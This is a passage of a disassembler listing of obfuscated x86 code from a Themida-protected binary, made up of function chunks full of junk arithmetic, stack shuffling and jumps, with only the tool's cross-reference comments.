		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		push	edi
		mov	edi, 62642D09h
		inc	edi
		push	eax
		mov	eax, 9CB0C30h
		add	eax, 78C24A72h
		jmp	loc_59A5B8
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A10AB:				; CODE XREF: sub_5AC95F-1050Bj
					; sub_59D99C+12B6j
		jz	loc_5AECC4
		jmp	loc_5A18C3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A10B6:				; CODE XREF: sub_5AC95F-1117j
		mov	esp, [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		sub	esp, 4
		jmp	loc_59BD30
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5A10C8:				; CODE XREF: sub_5A02EA-69BFj
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_5A10CD:				; CODE XREF: sub_59EE24:loc_59D58Ej
		sub	ebp, 1
		add	ebp, 0D4BCA33Dh
		push	ebp
		pop	edi
		pop	ebp
		sub	edx, 74EB6B4Dh
		add	edx, edi
		add	edx, 74EB6B4Dh
		jmp	loc_599D0F
; END OF FUNCTION CHUNK	FOR sub_59EE24

; =============== S U B	R O U T	I N E =======================================



sub_5A10EF	proc near		; CODE XREF: sub_5A8C33-A9EEj

; FUNCTION CHUNK AT 005A9580 SIZE 00000020 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	esi


loc_5A10FC:				; DATA XREF: Themida_:005AEEF8o
		mov	esi, 281E11E2h
		jmp	loc_5A9580
sub_5A10EF	endp

; ---------------------------------------------------------------------------


loc_5A1106:				; CODE XREF: Themida_:005AAB6Dj
		add	edx, esi
		pop	esi
		jmp	loc_5AA906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A110E:				; CODE XREF: sub_59B48F+12EF4j
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		add	esi, eax
		jmp	loc_59A547
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A111C:				; CODE XREF: sub_5986D6+13569j
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_59F329
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5A1127:				; CODE XREF: sub_5A94F5+24j
		shl	eax, 2
		shl	eax, 3
		shl	eax, 7
		add	eax, 3240279Dh
		add	eax, 171D2A32h
		add	eax, 5797AA68h
		jmp	loc_5AA08E
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A1144:				; CODE XREF: sub_5ACD64-145C9j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A1149:				; CODE XREF: sub_5A28BE-6E30j
		push	eax
		mov	eax, 4DD72EF9h
		jmp	loc_5ADE12
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A1154:				; CODE XREF: sub_5ACD64-127CAj
		pop	eax
		jmp	loc_5A4911
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A115A:				; CODE XREF: Themida_:0059AF3Aj
		add	esp, 4
		or	edx, 50BF4F74h
		not	edx
		push	6F66h
		jmp	loc_5A0B61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A1172:				; CODE XREF: sub_5986D6+B30Bj
		jmp	loc_59BE67
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A1177:				; CODE XREF: sub_5AC402:loc_5A0248j
		shl	dl, 8
		jns	loc_5A96BD
		push	6974h
		jmp	loc_5A3206
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
		mov	dl, al
		pop	ebx


loc_5A118D:				; CODE XREF: Themida_:005AAEC1j
		pop	edi
		add	esp, 4
		jmp	loc_599EC5

; =============== S U B	R O U T	I N E =======================================



sub_5A1199	proc near		; CODE XREF: sub_5AC95F-B20Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598C7D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A53F4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A73C6 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		mov	edx, [esp+4+var_4]
		jmp	loc_598C7D
sub_5A1199	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A11AB:				; CODE XREF: sub_59EB21+F58Fj
		pop	esi
		jmp	loc_5A452B
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598E15


loc_5A11B1:				; CODE XREF: sub_598E15+12CC1j
		sub	eax, 558C372Ch
		jmp	sub_5A00F8
; END OF FUNCTION CHUNK	FOR sub_598E15
; ---------------------------------------------------------------------------


loc_5A11BB:				; CODE XREF: Themida_:0059FDADj
		mov	esp, [esp]
		push	5F97h
		push	esp
		jmp	loc_59E4BD
; ---------------------------------------------------------------------------


loc_5A11C9:				; CODE XREF: Themida_:005A60C5j
		shr	ecx, 2
		js	loc_5AE4ED
		xor	ecx, 11FB0949h
		mov	esi, ecx
		jmp	loc_5AB654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5A11DF:				; CODE XREF: sub_59D151+F6E9j
		add	ebx, 196422EBh
		xor	ebx, 46B1658Dh
		mov	edx, ebx
		pop	ebx
		jmp	loc_59A612
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------


loc_5A11F3:				; CODE XREF: Themida_:005A2A43j
		push	ebx
		jmp	loc_5A525E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A11F9:				; CODE XREF: sub_59D99C-175Fj
		sub	edi, 7FCF7DA5h
		mov	ebp, edi
		pop	edi
		sub	ebp, ecx
		push	3016h
		jmp	loc_5A2846
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A120E:				; CODE XREF: sub_5A7343+BDCj
		mov	[esp+6+var_8+2], ecx
		push	2A0Ch
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		mov	ecx, [esp+0Ah+var_C+2]
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 52B475A3h
		and	eax, 75612E74h
		or	eax, 0CCC16ABh
		shr	eax, 2
		xor	eax, 0CF21169h
		jmp	sub_59B48F
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5A124E:				; CODE XREF: Themida_:0059E6DAj
		add	esp, 4
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A1256:				; CODE XREF: sub_5A91EC-10974j
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_5A94AA
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A125E:				; CODE XREF: sub_5ABA9B-DB6j
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	ecx
		push	6A09h
		mov	[esp+10h+var_10], ebx
		mov	ebx, 1F0479B9h
		jmp	loc_5ACE2A
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A1278:				; CODE XREF: sub_59B707+EFF4j
		jbe	loc_5A36C6
		push	38FEh
		jmp	loc_5A5D35
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A1288:				; CODE XREF: sub_5A600F+4153j
		mov	ebp, [esp+0]
		add	esp, 4
		push	69ABh
		jmp	loc_5AE803
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1298:				; CODE XREF: sub_5AC95F-E015j
		shr	ebx, 2
		xor	ebx, 3C10765h
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 0C99206Dh
		xor	eax, 5E5510C5h
		jmp	sub_5ACD64
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A12B6:				; CODE XREF: sub_5A8C33-72C8j
		add	esp, 4
		jmp	loc_5AC7DF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A12BE:				; CODE XREF: sub_5A17D6+6BD9j
		add	esi, 0EDE2DD70h
		mov	edi, esi
		pop	esi
		jmp	loc_59B690
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A12CC:				; CODE XREF: sub_5A1B2A+AECAj
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_5AB757
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A12D4:				; CODE XREF: Themida_:00599DA0j
		neg	edx
		jnz	loc_5A663A
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5A4FC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A12E6:				; CODE XREF: sub_597F0C+FC92j
		xchg	ebx, [esp+14h+var_14]
		pop	esp
		push	edi
		push	esp
		mov	edi, [esp+18h+var_18]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_59E7BB
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A12FF:				; CODE XREF: sub_59DBFF+22Aj
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5A702E
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------


loc_5A130E:				; CODE XREF: Themida_:005A58E2j
		pop	eax
		push	ecx
		jmp	loc_59C3F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A1315:				; CODE XREF: sub_5AA500-306Bj
		push	dword ptr [esp+0]
		jmp	loc_5A8E45
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_5A131D:				; CODE XREF: sub_5AC9FF+6j
		xor	ebx, 71725D7Ah
		neg	ebx
		and	ebx, 710C2FBAh
		and	ebx, 1556017Bh
		neg	ebx
		sub	ebx, 0FC7FE751h
		add	ecx, ebx
		jmp	loc_5A87EC
; END OF FUNCTION CHUNK	FOR sub_5AC9FF

; =============== S U B	R O U T	I N E =======================================



sub_5A1340	proc near		; CODE XREF: sub_598462+A1E2j

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_2		= dword	ptr  6
arg_A		= dword	ptr  0Eh
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h

; FUNCTION CHUNK AT 00597D5F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00599ECF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A630 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB4E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059BB0B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C58A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D4A9 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0059E4AF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EEDD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F4DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0F7A SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A2651 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2FD7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5866 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A730E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A917C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9D20 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA589 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA892 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AAD93 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005AC441 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005ACCDE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD587 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005AD9FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE22D SIZE 0000000D BYTES

		push	ebx
		not	byte ptr [esp+14h+var_14]
		pop	ebx
		xor	bl, 0C6h
		jmp	loc_5AD9FC
sub_5A1340	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A134D:				; CODE XREF: sub_5AB88E-9973j
		pop	dword ptr [esp+0]
		pop	esp
		add	esp, 4
		push	7416h
		jmp	loc_5A2F2B
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A135E:				; CODE XREF: sub_5ABE52+2FABj
		pop	esp
		push	eax
		mov	eax, 2
		add	edi, eax
		pop	eax
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sar	[esp-4+arg_0], cl
		pushf
		jmp	loc_59B4B7
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A137E:				; CODE XREF: sub_59A932+11j
		mov	ebp, 31FE36FEh
		shl	ebp, 4
		jz	loc_59A708
		and	ebp, 22267B9Dh
		jmp	loc_59A493
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_5A1397:				; CODE XREF: Themida_:005A5BD5j
		push	0BDDh
		mov	[esp], ebp
		jmp	loc_59DF24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A13A4:				; CODE XREF: sub_599526+A648j
		shl	ah, 6
		jmp	loc_5A326B
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------


loc_5A13AC:				; CODE XREF: Themida_:0059F361j
		mov	ah, dh
		mov	cl, ah
		pop	eax
		jmp	loc_59E6F9
; ---------------------------------------------------------------------------


loc_5A13B6:				; CODE XREF: Themida_:0059F447j
		push	10F7h
		mov	[esp], eax
		pop	ecx
		pop	eax
		push	esi
		mov	esi, 46274B0Dh
		jmp	loc_5ACDD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A13CB:				; CODE XREF: sub_5A0F44+1ECBj
		xor	ebx, 65C17178h
		add	ebp, 1E027126h
		jmp	loc_59D602
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5A13DC:				; CODE XREF: sub_59B333+532Ej
		pop	ebp
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_5AC2A8
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A13EC:				; CODE XREF: sub_5AE0B5-3DCDj
		jmp	sub_5986D6
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5A13F1:				; CODE XREF: Themida_:005A8B81j
		push	ebp
		mov	ebp, 223E6667h
		or	ebp, 55926147h
		push	ebp
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_5AE13D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A989A


loc_5A140B:				; CODE XREF: sub_5A989A-2FE0j
		not	edx
		shr	edx, 3
		sub	edx, 11FF1409h
		shl	edx, 5
		jmp	loc_59CE75
; END OF FUNCTION CHUNK	FOR sub_5A989A

; =============== S U B	R O U T	I N E =======================================



sub_5A141E	proc near		; CODE XREF: sub_59D99C+9609j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597D13 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005981C6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599550 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059975A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AEDC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B3C5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059BC3B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059C157 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CF48 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D307 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059D94B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F095 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0B8D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1897 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A1EC8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A24CD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A2D97 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A33F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A3B27 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A4131 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A41E6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6BED SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A769D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7A4B SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A8020 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A8DC5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A9028 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A97A9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AA821 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AAF36 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AC588 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005ACC17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD414 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD9A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ADE09 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AE9C9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AEB61 SIZE 0000000F BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59B3C5
sub_5A141E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5A1435:				; CODE XREF: sub_5A3B73-830Ej
		sub	edx, 50684E62h
		pop	ebp
		push	edx
		jmp	loc_59D6F7
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------


loc_5A1442:				; CODE XREF: Themida_:005ABE7Dj
		push	ebp
		jmp	loc_5ADBF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A1448:				; CODE XREF: sub_5AB3DC-1D30j
		and	ecx, 44B52D5Bh
		push	ebx
		push	4C930363h
		pop	ebx
		sub	esp, 4
		jmp	loc_5A1814
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5A1460:				; CODE XREF: Themida_:0059D1C9j
		xor	ecx, 2BCE80F4h
		add	esi, ecx
		pop	ecx
		push	eax
		push	edx
		mov	edx, 2
		mov	eax, edx
		pop	edx
		add	esi, 572A3BF2h
		sub	esi, eax
		jmp	loc_5AE99D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1480:				; CODE XREF: sub_5AC95F-D543j
		inc	ebx
		add	ebx, 0E35B1727h
		jmp	loc_59AC5B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A148C:				; CODE XREF: Themida_:005AC62Cj
		push	eax
		mov	eax, 203F37ADh
		jmp	loc_5A9536
; ---------------------------------------------------------------------------


loc_5A1497:				; CODE XREF: Themida_:0059F794j
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5A941B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A14A2:				; CODE XREF: sub_5A91EC:loc_5A80E7j
		shr	edx, 7
		dec	edx
		js	loc_59DB99
		jmp	loc_59DDA1
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_5A14B1:				; CODE XREF: sub_5A799C-4E15j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59D3F9
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------


loc_5A14C5:				; CODE XREF: Themida_:005A8C18j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, 3B9F1C1Ah
		add	edi, ecx
		sub	edi, 3B9F1C1Ah
		jmp	loc_59C535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A14E8:				; CODE XREF: sub_59D7E7-3940j
		add	ebx, esi
		jmp	loc_5A53DD
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A14EF:				; CODE XREF: sub_5A58AC-C9j
		pop	eax
		sub	edi, 10742C43h
		sub	edi, edx
		add	edi, 10742C43h
		pop	edx
		add	edi, ecx
		sub	esp, 4
		jmp	loc_5A7223
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A1509:				; CODE XREF: sub_5ADDF8-138B6j
		pop	edi
		sub	ebp, 4
		push	6E9Fh
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		jmp	loc_5A1BE0
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A1521:				; CODE XREF: sub_5A1B2A-7100j
					; Themida_:0059F95Aj
		add	esp, 4
		add	esp, 4
		jmp	loc_5AEB59
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A1532:				; CODE XREF: sub_599059+CB8Cj
		mov	edi, 4
		add	[esp-0Ah+arg_A], edi
		jmp	loc_5AACBC
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A1540:				; CODE XREF: sub_59A932+10A0Fj
		or	edx, 6513572Ah
		jb	loc_5AD103
		shl	edx, 7
		jp	loc_5A447F
		add	edx, 84F7A3BBh
		mov	edi, edx
		pop	edx
		jmp	loc_5AC5C1
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A1563:				; CODE XREF: sub_59B707+11857j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_5988D8
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5A1570:				; CODE XREF: sub_59D832-3F38j
		add	ebx, 3090B24h
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A157B:				; CODE XREF: sub_59D99C+33Aj
		dec	edi
		or	edi, 6C2E65DBh
		shl	edi, 4
		add	edi, 31198014h
		jmp	loc_5AA447
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A1590:				; CODE XREF: sub_59D00D+2F0Dj
					; sub_599059+11C9Fj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Ah+arg_6]
		pop	esp
		mov	[esp-0Eh+arg_A], eax
		jmp	sub_5ACB72
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_5A15A5:				; CODE XREF: Themida_:005AA0CAj
					; sub_59EE57+EE5Cj
		push	eax
		jmp	sub_5A0542
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A15AB:				; CODE XREF: sub_5A0542+21EEj
					; sub_59B707+10746j
		jns	loc_5A9552
		add	eax, 0C6EB087Dh
		mov	esi, eax
		mov	ebx, edx
		push	ecx


loc_5A15BB:				; CODE XREF: sub_59D95F+399j
		push	ebp
		jmp	loc_5996F8
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A15C1:				; CODE XREF: Themida_:0059EF59j
		pop	eax
		sub	ebx, 136FBA00h
		sub	edx, ebx
		pop	ebx
		mov	edi, [esp]
		push	2FBFh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	near ptr dword_59B024+11h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A15ED:				; CODE XREF: sub_59D7E7-3530j
					; sub_5A8F00-3E10j
		add	edi, 13623F6Bh
		jg	loc_5AD7DB
		sub	edi, 4F4E3CBBh
		jmp	loc_598B3F
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
		mov	bl, cl
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A1607:				; CODE XREF: sub_5AE6FD-157D4j
					; sub_5A28BE-1A7Cj
		shl	edx, 1
		inc	edx
		add	edx, 91EEF607h
		mov	ebp, edx
		pop	edx
		jmp	loc_59BD94
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A1618:				; CODE XREF: sub_59ACEC+EDBDj
		push	esi
		mov	esi, 221616h
		jmp	loc_5ACE3D
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------


loc_5A1623:				; CODE XREF: Themida_:0059DEABj
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_59BB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A1630:				; CODE XREF: sub_598D16+2960j
		jns	loc_59C0A7
		xor	ebx, 6969721Ah
		jmp	loc_5A9623
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A1642:				; CODE XREF: sub_5A8C33+CB3j
		sub	[esp-14h+arg_16+2], 671F425Eh
		pop	ebp
		add	[esp-18h+arg_16+2], 609370E2h
		sub	[esp-18h+arg_16+2], edi
		sub	[esp-18h+arg_16+2], 609370E2h
		sub	[esp-18h+arg_16+2], 4065555Fh
		jmp	loc_5A6888
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599EF7


loc_5A166C:				; CODE XREF: sub_599EF7+1j
		mov	ebp, 1E992E12h
		add	ebp, 1
		push	ecx
		mov	ecx, 27A74934h
		jmp	loc_59C6C3
; END OF FUNCTION CHUNK	FOR sub_599EF7
; ---------------------------------------------------------------------------
